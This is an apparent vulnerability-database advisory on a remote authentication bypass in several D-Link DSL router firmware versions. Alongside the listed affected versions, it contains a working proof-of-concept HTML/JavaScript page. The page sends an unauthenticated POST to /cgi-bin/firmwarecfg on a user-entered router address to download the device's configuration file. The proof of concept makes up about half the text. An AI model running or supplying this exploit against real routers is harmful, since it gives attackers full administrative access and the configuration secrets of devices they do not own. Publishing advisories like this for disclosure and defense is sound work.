D-Link DSL Router Remote Authentication Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

D-Link DSL Router Remote Authentication Bypass Vulnerabilit


                                                source: http://www.securityfocus.com/bid/13679/info

Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.

This vulnerability allows remote attackers to gain complete administrative access to affected devices.

Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014

Due to the common practice of code reuse, other devices are also likely affected by this issue. 

&#60;html&#62;&#60;head&#62;Download config.xml:&#60;title&#62;GetConfig - Config file
download&#60;/title&#62;&#60;/head&#62;&#60;body&#62;

&#60;script lang=&#34;javascript&#34;&#62;
function invia_richiesta()
{
document.DownloadConfig.action=&#39;http://&#39;+document.InputBox.Host.value+&#39;/cgi-bin/firmwarecfg&#39;;
document.DownloadConfig.submit();
}
&#60;/script&#62;

&#60;form name=&#34;InputBox&#34;&#62;
&#60;br&#62;http://&#60;input Name=&#34;Host&#34; type=&#34;text&#34; value=&#34;&#34;&#62;/cgi-bin/firmwarecfg&#60;br&#62;
&#60;/form&#62;
&#60;form name=&#34;DownloadConfig&#34; method=&#34;POST&#34; action=&#34;&#34;
enctype=&#34;multipart/form-data&#34;&#62;
&#60;input type=&#34;Submit&#34; name=&#34;config&#34; value=&#34;Download&#34;
onClick=&#34;javascript:invia_richiesta();&#34;&#62;&#60;br&#62;
&#60;/form&#62;&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1